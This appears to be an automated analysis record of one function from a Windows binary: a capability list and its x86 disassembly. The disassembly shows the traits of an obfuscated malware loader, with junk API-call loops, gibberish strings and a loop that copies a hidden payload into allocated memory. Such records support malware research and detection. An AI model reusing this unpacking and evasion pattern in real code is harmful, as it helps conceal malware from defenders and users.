Function at 0x418850
Capabilities:
Accept command line arguments
Connect pipe
Copy file
Create directory
Get file attributes
Get hostname
Manipulate console buffer
Query environment variable
Read pipe
Set console window title
Set file attributes
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc8c
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 0xc88], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
xor esi, esi
or ebx, 0xffffffff
cmp esi, 0x4fa
jne 0x41888f
mov eax, dword [0x41d9ac]
add eax, 0x9e49
mov dword [0x2b39d4c], eax
cmp dword [0x2b39d4c], 0xeb1
jne 0x4188bc
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x20], ecx
call edi
mov dword [0x41e7d8], 0xec58ac98
mov dword [0x41e7dc], ebx
inc esi
cmp esi, 0x1238bdc
jl 0x418878
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x5605e1
jne 0x4188e4
mov edx, dword [0x41d9a0]
mov dword [0x2b39d50], edx
cmp dword [0x2b39d4c], 0x168
jne 0x4188f2
call edi
inc esi
cmp esi, 0x602bdc
jl 0x4188d0
cmp dword [0x2b39d4c], 0x7c
jne 0x418a1b
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x494]
push edx
push edi
push str.bijut
push str.juwepagisosuducepatakaderuzilal
push str.bovox
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x2e
lea eax, [esp + 0x64]
push edi
push eax
mov dword [esp + 0x68], edi
call fcn.00405660
add esp, 0xc
push edi
lea ecx, [esp + 0x60]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
lea ecx, [esp + 0x2c]
push ecx
xor edx, edx
push edx
xor eax, eax
push eax
lea ecx, [esp + 0x24]
push ecx
push edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
lea edx, [esp + 0x94]
push edx
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
cmp dword [0x2b39d4c], 0x2d
jne 0x4189f2
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x2b39d4c], 0x54
jne 0x418a07
push edi
push edi
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push edi
call fcn.00401439
add esp, 4
push edi
call fcn.004014fa
fstp st(0)
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTimes]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x25627
jge 0x418a4a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x2c]
push eax
call ebx
cmp esi, 0x24bf3
jg 0x418a6e
inc esi
cmp esi, 0xf0169
jl 0x418a30
jmp 0x418a90
cmp dword [0x2b39d4c], 0xa
jne 0x418a90
push 0
lea ecx, [esp + 0x494]
push ecx
push 0
push str.kiwijelitoxij
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
mov eax, dword [0x2b39d4c]
cmp eax, 0x2a
jne 0x418b3f
xor esi, esi
push esi
mov dword [0x2b39c18], esi
mov dword [0x2b39c1c], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
push str.zazatuxuvayedafikidizunivolegurewafeyotipuhozilodipayawenocusedenetaleyoyesu
push str.kadavemaluyerewoxubasepefonekecesafomajayunabix
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
call fcn.00406152
push esi
push esi
call fcn.0040100f
push esi
push esi
push esi
call fcn.0040127a
add esp, 0x24
push esi
push esi
push esi
push esi
call fcn.004012af
push esi
call fcn.00401422
add esp, 0x14
push esi
call fcn.00401790
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x2b39d4c]
mov esi, eax
xor ecx, ecx
mov dword [0x2b39a6c], esi
test edx, edx
je 0x418b8c
mov edi, dword [0x2b39d50]
mov eax, 0x17bc
jmp 0x418b70
mov bl, byte [edi + ecx + 0x9e49]
mov byte [ecx + esi], bl
cmp edx, 0x8d
jne 0x418b87
mov dword [0x2b39a70], eax
inc ecx
cmp ecx, edx
jb 0x418b70
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00418560
call fcn.004187e0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
nop
cmp dword [0x2b39d4c], 0x41
jne 0x418bd1
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp esi, 0xd606b
jne 0x418bde
call fcn.00418550
cmp dword [0x2b39d4c], 0xc
jne 0x418bf4
push 0
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc esi
cmp esi, 0x24e87d
jl 0x418bb0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, 0x1d5705
mov edi, 0x8e46aec0
lea ecx, [ecx]
cmp dword [0x2b39d4c], 0x7c4
mov dword [0x2b39a74], edi
jne 0x418c2b
push 0
push str.xevoyupewutatemoc
call esi
dec ebx
jne 0x418c10
mov ecx, dword [esp + 0x3c]
xor eax, eax
cmp eax, 0x408e
jle 0x418c43
cmp ecx, 0xf5bed7
jne 0x418c4b
inc eax
cmp eax, 0x687ed2
jl 0x418c34
mov ecx, dword [esp + 0xc94]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret